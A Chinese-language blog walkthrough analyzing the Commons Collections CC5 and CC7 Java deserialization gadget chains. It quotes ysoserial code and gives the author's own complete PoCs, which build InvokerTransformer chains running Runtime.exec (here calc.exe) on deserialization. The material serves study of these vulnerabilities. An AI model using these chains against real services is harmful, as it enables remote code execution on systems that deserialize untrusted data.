CommonsCollections5和CommonsCollections7
yearnxyl Lv2

CommonsCollections5

还是从ysoserial中的代码入手,可以发现代码中引入了新类:BadAttributeValueExpException,且很明显该类即反序列化所调用的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return val;
}

BadAttributeValueExpException

BadAttributeValueExpException是 Java 中的一个异常类,用于表示由于无效的属性值导致的异常情况。通常与 Java 命名、目录接口(JNDI)或 LDAP(轻量级目录访问协议)相关,用于处理目录服务中的属性。

在上面代码中除了BadAttributeValueExpException,同时还用到了TiedMapEntry

回忆CC6中TiedMapEntry调用链为:

TiedMapEntry#hashCode()->TiedMapEntry#getValue()->LazyMap#get()

因此可以确定在BadAttributeValueExpException#readObject()中会直接或者间接的调用TiedMapEntry#getvalue()。在这里TiedMapEntryBadAttributeValueExpException成员变量val

查看readObject(),很明显valObjTiedMapEntry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

代码中valObj.toString()TiedMapEntry.toString()

查看TiedMapEntry#toString():可以看到在这里执行了TiedMapEntry#getValue()

1
2
3
public String toString() {
return this.getKey() + "=" + this.getValue();
}

到这里整条链就已经很清楚了。

BadAttributeValueExpException#readObject()

​ TiedMapEntry#toString()

​ TiedMapEntry#getValue()

​ LazyMap#get()

按照ysoserial的思路自己构造CC5如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example;


import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map innerMap=new HashMap();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"xxxx");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
SetFieldValue("val",badAttributeValueExpException,tiedMapEntry);
File file = new File("./a.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
//创建输出流和输入流
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
FileInputStream fileInputStream = new FileInputStream(file);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
Object o=objectInputStream.readObject();

}
static void SetFieldValue(String FieldName,Object object,Object value)throws Exception{
Field field=object.getClass().getDeclaredField(FieldName);
field.setAccessible(true);
field.set(object,value);
}
}

注意事项

在调试CommonCollections5的过程中发现执行if (valObj == null)时就会弹出计算机。

但是真正的出发点应当是下面的valObj.toString()

image

后面查了以下资料得知,idea在调试的过程中,会自动调用类的toString()方法,以便于在控制台显示。正常情况下这么做没问题,但是如果像我们上面的情况,或者toString()方法是经过重写后的,在调试过程中就会产生出乎意料的错误。

解决方法很简单:设置中勾选掉下面两个模块即可(很多文章写的只勾选最后一个就行是错误的)image

CommonsCollections7

从ysoserial中不难看出CommonsCollections7引入了Hashtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public Hashtable getObject(final String command) throws Exception {

// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

return hashtable;
}

CommonsCollections7调试

Hashtable和HashMap有类似,具体二者的区别这里不做讨论。

针对CommonsCollections7进行调试我们定位到触发点在Hashtable#readObject()中调用的Hashtable#reconstitutionPut()方法

image

在反序列化时,会通过循环获取两个Entry的key和value,并放到Hashtable#reconstitutionPut()

1
2
3
4
5
6
7
8
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}

针对该方法进行调试,定位到触发点为if ((e.hash == hash) && e.key.equals(key))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

我们来捋一下该方法做了什么。目前已知Hashtable中存在两个Entry,分别是<lazyMap1,1>和<lazyMap2,2>

第一次执行reconstitutionPut()时,key为lazyMap1,value为1

  • int hash = key.hashCode():获取lazyMap1的hash值
  • int index = (hash & 0x7FFFFFFF) % tab.length:根据hash值确定lazyMap1在数组中的位置(补充:Hashtable本质上时数组)
  • 进入for循环,e = tab[index]。此时e为空,因此并不会真正的进入for循环
  • tab[index] = new Entry<>(hash, key, value, e):将lazyMap1放入数组中

第二次执行reconstitutionPut()时,key为lazyMap2,value为2

  • 前面的步骤相同。hash值和index也与第一次获取的相同。
  • 进入for循环,e = tab[index]。此时e为前面存储的lazyMap1不为空,进入循环。(补充:这里的e是Hashtable类)
  • 执行e.key.equals(key)e.keylazyMap1。这里是将lazyMap1lazyMap2进行比较。

由于LazyMap类本身没有equals,所以此处调用的为AbstractMapDecorator#equals()

1
2
3
public boolean equals(Object object) {
return object == this ? true : this.map.equals(object);
}

重点在这一句代码:return object == this ? true : this.map.equals(object)。此时thislazyMap1objectlazyMap2,很明显两者不相等。因此会执行this.map.equals(object),这里要注意this.maplazyMap1.map,对应的是innerMap1

innerMap1HashMap类,HashMap本身并没有equals()方法,所以此处调用的为AbstractMap#equals(),传入的参数o为lazyMap2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

上面代码中执行了if (!value.equals(m.get(key))),这里的m即lazyMap2。很明显就是这里执行了LazyMap#get(),并以此来执行任意命令。

到这里差不多就捋清了CommonsCollections7的调用链

Hashtable#readObject()

​ Hashtable#reconstitutionPut()

​ AbstractMapDecorator#equals()

​ AbstractMap#equals()

​ LazyMap#get()

自己构造poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;


public class CommonsCollections7 {
public static void main(String[] args) throws Exception {
//创建文件存储序列化数据
File file = new File("./a.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
//创建输出流和输入流
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
FileInputStream fileInputStream = new FileInputStream(file);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
//构造CC链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(new Transformer[]{new ConstantTransformer(0)});
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy");
SetFieldValue("iTransformers",chainedTransformer,transformers);
//序列化
objectOutputStream.writeObject(hashtable);
//反序列化
Object o=objectInputStream.readObject();
}
static void SetFieldValue(String FieldName,Object object,Object value)throws Exception{
Field field=object.getClass().getDeclaredField(FieldName);
field.setAccessible(true);
field.set(object,value);
}
}

注意事项

在构造LazyMap后存储的Entry:<"yy",1><"zZ",1>不是固定的,但一定要保证hash值相同

回头看一下reconstitutionPut方法

1
if ((e.hash == hash) && e.key.equals(key))

e.hash == hash才会进一步执行equals()方法。这里如果进行调试会发现最后是对innerMap1和innerMap2的键值对:<"yy",1><"zZ",1>的hash值进行比较。(两个键值对的hash值均为3873)

查看“yy”和“zZ”的hash值发现均为3872。(上面是3873是因为还有value的hash值)

image

跟踪调试一下hashCode()方法,发现Java针对字符串获取hash值的逻辑为:

  1. 将字符串拆分为数组
  2. 获取每个字符的ASCII码
  3. 初始hash值为0
  4. 将hash值乘31之后加上字符ASCII
  5. 读取下一个字符ASCII,并重复第4步直到结束
1
2
3
4
5
6
7
8
9
10
11
12
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;

for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}

比如上面的“yy”,hash值为121*31+121=3872。”zZ”的hash值为122*31+90=3872。掌握这个规律我们可以构造其他键值对,比如:<"xx",1><"z:",1>

image

总结

CommonsCollections5:

BadAttributeValueExpException#readObject()
—TiedMapEntry#toString()
——TiedMapEntry#getValue()
———LazyMap#get()

CommonsCpllections7:

Hashtable#readObject()
—Hashtable#reconstitutionPut()
——AbstractMapDecorator#equals()
———AbstractMap#equals()
————LazyMap#get()